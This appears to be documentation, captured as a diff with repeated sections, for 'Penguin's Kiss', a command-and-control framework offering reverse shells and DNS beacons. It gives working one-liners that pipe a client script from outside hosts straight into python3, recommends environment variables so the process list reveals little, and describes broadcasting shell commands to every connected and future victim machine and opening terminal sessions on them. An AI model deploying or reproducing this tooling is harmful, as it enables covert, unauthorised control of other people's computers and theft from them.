Penguin's Kiss is command and control software designed to accomodate a large + number of clients and controllers at once. Multiple channels are available for + end-to-end encrypted delivery of shell commands, including direct TCP reverse + shell, DNS beacon, and beacon-triggered direct connection. All information is sent + encrypted, either by padded RSA or by one-time pad exchanged over RSA (this helps + to keep short data snippets responsive and avoid ballooning message size). In the + future, some work may be done to incorporate elliptic curve cryptography and + one-time session keys utilizing some symmetric cipher (likely AES).
+Downloading PK
+The quickest way to download is via the button in the top right. This will take + you to the latest release on + GitHub. You can also clone the + master (pseudo-stable) + or + develop (unstable) + branches to receive feature updates before they are bundled into a full + release.
+Building PK
+PK doesn't require much in the way of compilation, just bundling into a + single script that can be distributed or run. This functionality is written in + the makefile for easy access, so fetching and compilation should be as simple + as:
+# or tar -xzf pk.tgz if you've downloaded an archive +git clone git@github.com:cflems/pk.git +cd pk +make+
Your built artifacts will be pkcli.py and pkd.py.
+ Building is required before PK can be run for the first time.
Precompiled Client Scripts
+Since cloning and building the latest version isn't the stealthiest + procedure to execute on a client machine, prebuilt versions of the latest + client script will be hosted in the several locations and can be executed + without meaningful process footprint as follows:
+curl -s https://dl.pkctl.org/pk.py | ENV=... python3 -+
curl -s https://war.cflems.net/pk.py | ENV=... python3 -+
You may wish to host your own, however, in order to tweak the default values + to your needs and avoid feeding them via enviornment variables.
+
+
+
+ As you may have noticed reading the precompiled scripts section, the client binary + allows configuration options to be passed in a number of ways. The first thing it + will look for, for any given option, is a specifically-named environment variable, + as this will not be visible in the process name. Failing this, the client will try + less subtle approaches, looking for positional command-line arguments, prompting + the standard input, and finally falling back to a preset default value (which you + may find it useful to alter the script in order to tweak if you don't want to + pass anything in through the alternative methods.) Generally your run command will + look something like:
+curl -s https://dl.pkctl.org/pk.py | OPT1=val1 OPT2=val2... python3 -+
This has the distinct advantage as only showing up as python3 - in the
+ process list, which leaves precious little to identify what it is actually doing.
+ For this reason, environment variable input is highly recommended.
HDB URL
+Unless your server is using the default server key (not recommended), you will + need to specify a URL from which the server's public RSA key can be + fetched. The format of this file can be found in the + Hosts Database + section of the documentation.
+Environment Variable Name: HDB
Command-Line Argument Order: first
+Default Value: https://war.cflems.net/hosts.json
Usage:
+curl -s https://dl.pkctl.org/pk.py | HDB=https://dl.pkctl.org/b8ca2180.json python3 -+
TCP Host
+This is the TCP host to which your client will attempt to connect at a specified + interval. You will most invariably want to specify or recode this parameter. + Port number is optional and specified with a colon in the hostname.
+Environment Variable Name: HOST
Command-Line Argument Order: second
+Default Value: sek.cflems.net:2236
Usage:
+curl -s https://dl.pkctl.org/pk.py | HOST=raw.pkctl.org python3 -+
Time to Sleep
+This is the interval at which the client will wake up and attempt to establish + a connection to the remote server, if it does not succeed immediately. Unit is + seconds.
+Environment Variable Name: TTS
Command-Line Argument Order: third
+Default Value: 1800 (30 minutes)
Usage:
+curl -s https://dl.pkctl.org/pk.py | TTS=86400 python3 -+
RSA Bits
+Can be used to turn down the bits used for RSA keys and messages for faster + operation at the expense of security. Needs to be synced between the client + and server. I recommend leaving this value alone.
+Environment Variable Name: BITS
Command-Line Argument Order: fourth
+Default Value: 4096
Usage:
+curl -s https://dl.pkctl.org/pk.py | BITS=2048 python3 -+
+
+
+ The following commands can be executed while attached to the daemon via
+ pkctl attach.
beacon
+Creates a DNS beacon that this host will respond to as if it were a legitimate + DNS server. If a beacon already exists at this hostname, record type, and + record class, it will be overwritten.
+Arguments: DNS data (hex string), hostname (string), record type (string), + record class (string, optional).
+DNS data must be a string representing the hex-encoded binary data to be + returned as the answer to a DNS query for this record.
+Hostname is the DNS hostname for which to answer queries.
+Record type must be one of A, AAAA, CNAME, MX, or TXT. Data must be formatted + correctly per record type or else malformed responses will be returned.
+Record class must be one of IN, CH, or HS, or else omitted. Defaults to IN + (the internet).
+Usage:
+pk> beacon 01020304 x.z.pkctl.org A IN+
delbeacon
+Deletes one or more beacons according to arguments supplied. If only hostname + is supplied, all beacons matching hostname will be deleted. If more arguments + are supplied, the search will be narrowed accordingly.
+Arguments: hostname (string), record type (string, optional), record class + (string, optional).
+See beacon reference for the meanings of these arguments.
+Usage:
+pk> delbeacon x.z.pkctl.org A IN+
nbeacons
+Prints the number of currently active DNS beacons.
+Usage:
+pk> nbeacons +[pk] Active beacons: 224+
lbeacons
+Lists all currently active DNS beacons and their data.
+Usage:
+pk> lbeacons +[pk] Active beacons: +- x.z.pkctl.org A IN: 01020304 +- ... +[pk] 224 total.+
nscreen
+Prints the number of currently attached controller screens.
+Usage:
+pk> nscreen +[pk] Active screens: 2+
ncli
+Prints the number of currently connected TCP clients.
+Usage:
+$ ncli +[pk] Active TCP clients: 27+
lcli
+Lists the currently connected TCP clients and their descriptive information.
+$ lcli
+[pk] Active TCP clients:
+- 0: {'ip': '127.0.0.1', 'rport': 47874, 'rdns': 'localhost'}
+- ...
+[pk] 27 total.
+ lq
+Lists the queue of commands to be executed by newly connected clients.
+Usage:
+pk> lq +['whoami', 'hostname']+
cq
+Clears the command queue.
+Usage:
+pk> cq+
show-serverkey
+Prints the server's public key in a format easily copyable into an HDB + entry.
+Usage:
+pk> show-serverkey
+{"n": ..., "e": ...}
+ pty
+Connects your screen to the specified client in a one-on-one terminal session, + similar to SSHing into the client machine.
+Arguments: client ID (integer) — can be found with lcli.
Usage:
+$ pty 3+
refresh-hdb
+Commands the client to refresh its internal hosts database from the web resource + it was originally pulled from.
+Usage:
+$ refresh-hdb+
tunnel
+Commands the client to disconnect and sleep for the number of seconds configured + in TTS.
+Usage:
+$ tunnel+
die
+Commands the client to exit and not respawn.
+Usage:
+$ die+
Shell Commands
+Inputs which are not recognized as server commands will be interpreted as + shell commands, which will be blasted to all connected clients and queued for + future clients to receive as well. Once executed, the results of these + commands will be blasted to all active screens, and logged in case no screen + is watching at the time of the response. The active command queue can be + managed by way of the lq and cq + commands.
+Targeting
+In the event that you would prefer not to dispatch a command to all current and
+ future clients, a specific set of targets can be specified by prepending
+ TARGET={targets} to the command, where {targets} is
+ a comma-delimited list of client IDs (integers). These client IDs can be
+ retrieved by checking the output of lcli. Commands which are
+ targeted are not queued for future clients to receive.
Usage:
+$ TARGET=0,4,57,264 echo hello+
+
+
+ Now that we've generated our host key and gotten our server up and running, its + time to publish its public key in a hosts database file so that it can be retrieved + by clients. The TL;DR for this section is to create a file that looks like this:
+{"keys": {"<server ip>": {"n": <number n that python spit out>, "e": 65537}}}
+ and upload it to the web somewhere. You can then supply this URL to your clients as + your hosts database. Literally even a PasteBin will work if you use the raw file + URL.
+Format
+The hosts database is essentially just a JSON object in which the PK client will + look for specific keys to retrieve information. The basic skeleton looks like + this:
+{"keys": {<keys section>}}
+ Keys Section
+The keys section is just a mapping from server IPs to key objects, which in + turn are just a way of representing RSA public keys. The keys section supports + multiple server IPs, but currently only one public key per server IP. Its + skeleton looks like the following:
+{"0.1.2.3": {<key object>}, "255.255.255.255": {<key object>}}
+ Key Objects
+A key object is just a modulus and a public exponent, both of which are integers.
+ The modulus is at key n and the public exponent is at key
+ e. The public exponent is optional and defaults to
+ 65537 if not supplied. These values can be pulled directly from
+ /etc/pk/server_key.json, but it is important to delete the
+ d key and its value, as this information needs to remain secret.
+
The format of a key object is as follows:
+{"n": 3043289324798327498257285749857984257249857245, "e": 12345}
+
+
+
+ Penguin's Kiss is command and control software designed to accomodate a large + number of clients and controllers at once. Multiple channels are available for + end-to-end encrypted delivery of shell commands, including direct TCP reverse + shell, DNS beacon, and beacon-triggered direct connection. All information is sent + encrypted, either by padded RSA or by one-time pad exchanged over RSA (this helps + to keep short data snippets responsive and avoid ballooning message size). In the + future, some work may be done to incorporate elliptic curve cryptography and + one-time session keys utilizing some symmetric cipher (likely AES).
+Downloading PK
+The quickest way to download is via the button in the top right. This will take + you to the latest release on + GitHub. You can also clone the + master (pseudo-stable) + or + develop (unstable) + branches to receive feature updates before they are bundled into a full + release.
+Building PK
+PK doesn't require much in the way of compilation, just bundling into a + single script that can be distributed or run. This functionality is written in + the makefile for easy access, so fetching and compilation should be as simple + as:
+# or tar -xzf pk.tgz if you've downloaded an archive +git clone git@github.com:cflems/pk.git +cd pk +make+
Your built artifacts will be pkcli.py and pkd.py.
+ Building is required before PK can be run for the first time.
Precompiled Client Scripts
+Since cloning and building the latest version isn't the stealthiest + procedure to execute on a client machine, prebuilt versions of the latest + client script will be hosted in the several locations and can be executed + without meaningful process footprint as follows:
+curl -s https://dl.pkctl.org/pk.py | ENV=... python3 -+
curl -s https://war.cflems.net/pk.py | ENV=... python3 -+
You may wish to host your own, however, in order to tweak the default values + to your needs and avoid feeding them via enviornment variables.
+
+
+
+ Once your PK scripts are built very little is required to run the server as a local + user, you can literally just do:
+python3 pkctl.py start +python3 pkctl.py attach+
and have yourself a simple instance up and running ready to run commands. Therefore + the rest of this section will be dedicated to getting PK running in the background + as a systemd service under its own user, and letting multiple system users attach + to the daemon at once if desired.
+Installing
+Once again the makefile mostly has you covered here, all you need to do is:
+sudo make install+
and the makefile will set up a dedicated service user and group called
+ pkd which controls access to the daemon and its resources, as well
+ as setting up the pk server as a systemd service called pk. This
+ will also start the pk server and enable it on startup.
PKCTL Usage
+Once installed, you can use the following commands to interface with the pk + daemon controller:
+systemctl start|stop|restart pk — this controls the
+ daemon's life cycle.
pkctl attach — this starts an interactive session with the
+ daemon, allowing you to control and interface with clients.
Host Key Generation
+Once you've installed the pk server you're going to want to change its + host key away from the default one which is used for testing purposes and is + widely available (read: not secure at all).
+This is probably the only complicated part of the whole guide, mostly because + I haven't yet built a cute little utility to do it for you yet (I should + at some point). You're going to need to do the following (in your pk + directory):
+python3 +>>> import crypto +>>> p,q,n,e,d = crypto.Crypto.keygen(4096) +>>> n+
Copy the number that python spits out here.
++>>> d+
Also copy this number. Keep these two handy as we'll need them later.
+ Now open /etc/pk/server_key.json in your favorite editor and make
+ it read as follows (you can wipe out the current contents):
{"n": <the number n we got from python>, "d": <the number d we got from python>, "e": 65537}
+ At this point we're almost done, we just have to restart pk to reflect the + changes, so run:
+sudo systemctl restart pk+
and you should be good to go.
+Local Users
+To allow non-root users on your system to use pkctl attach, you
+ will need to add them to the pkd user group. This is remarkably
+ simple to do on any unix system, just run:
adduser [username] pkd+
Once your PK scripts are built very little is required to run the server as a local + user, you can literally just do:
+python3 pkctl.py start +python3 pkctl.py attach+
and have yourself a simple instance up and running ready to run commands. Therefore + the rest of this section will be dedicated to getting PK running in the background + as a systemd service under its own user, and letting multiple system users attach + to the daemon at once if desired.
+Installing
+Once again the makefile mostly has you covered here, all you need to do is:
+sudo make install+
and the makefile will set up a dedicated service user and group called
+ pkd which controls access to the daemon and its resources, as well
+ as setting up the pk server as a systemd service called pk. This
+ will also start the pk server and enable it on startup.
PKCTL Usage
+Once installed, you can use the following commands to interface with the pk + daemon controller:
+systemctl start|stop|restart pk — this controls the
+ daemon's life cycle.
pkctl attach — this starts an interactive session with the
+ daemon, allowing you to control and interface with clients.
Host Key Generation
+Once you've installed the pk server you're going to want to change its + host key away from the default one which is used for testing purposes and is + widely available (read: not secure at all).
+This is probably the only complicated part of the whole guide, mostly because + I haven't yet built a cute little utility to do it for you yet (I should + at some point). You're going to need to do the following (in your pk + directory):
+python3 +>>> import crypto +>>> p,q,n,e,d = crypto.Crypto.keygen(4096) +>>> n+
Copy the number that python spits out here.
++>>> d+
Also copy this number. Keep these two handy as we'll need them later.
+ Now open /etc/pk/server_key.json in your favorite editor and make
+ it read as follows (you can wipe out the current contents):
{"n": <the number n we got from python>, "d": <the number d we got from python>, "e": 65537}
+ At this point we're almost done, we just have to restart pk to reflect the + changes, so run:
+sudo systemctl restart pk+
and you should be good to go.
+Local Users
+To allow non-root users on your system to use pkctl attach, you
+ will need to add them to the pkd user group. This is remarkably
+ simple to do on any unix system, just run:
adduser [username] pkd+